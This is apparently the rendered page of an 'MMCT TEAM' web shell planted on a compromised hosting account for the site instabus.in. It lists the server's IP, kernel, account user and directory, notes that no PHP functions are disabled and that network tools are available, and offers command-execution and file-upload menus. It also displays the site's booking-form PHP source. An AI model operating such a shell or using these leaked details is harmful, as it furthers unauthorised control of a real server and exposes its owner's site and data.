MMCT TEAM
Server IP : 103.53.40.154  /  Your IP : 3.138.124.123
Web Server : Apache
System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : ppcad7no ( 715)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0750) :  /home2/ppcad7no/instabus.in/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/ppcad7no/instabus.in/get_package.php
<?php
ob_start();
date_default_timezone_set('Asia/Kolkata');
require_once("includes/dbsmain.inc.php");
$page_name=basename($_SERVER['PHP_SELF'],'.php');
include("site-main-query.php");
$sess_id=session_id();

$site_url=$compDATA['admin_website_url'];
$author = str_replace("http://","","$site_url");

$full_url = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]";

$current_date=date('Y-m-d');


$pack_id=$_REQUEST['package_id'];
if($pack_id==0){
?>
<select class="wide form-control" name="booking_package_id" id="booking_package_id"  onchange="set_location(this.value)">
<option value=""> --- Select Package --- </option>
<?php
$book_cat_sql=db_query("select * from tbl_category where category_status='Active' order by category_id asc");
while($book_cat_res=mysqli_fetch_array($book_cat_sql))
{?>
<?php if($pack_id==$book_cat_res['category_id']){?>
<option value="<?=$book_cat_res['category_id']?>" <?php if($pack_id==$book_cat_res['category_id']){?> selected <?}?> ><?=$book_cat_res['category_display_name']?></option>
<?}?>
<?}?>

</select>
<? }?>

MMCT - 2023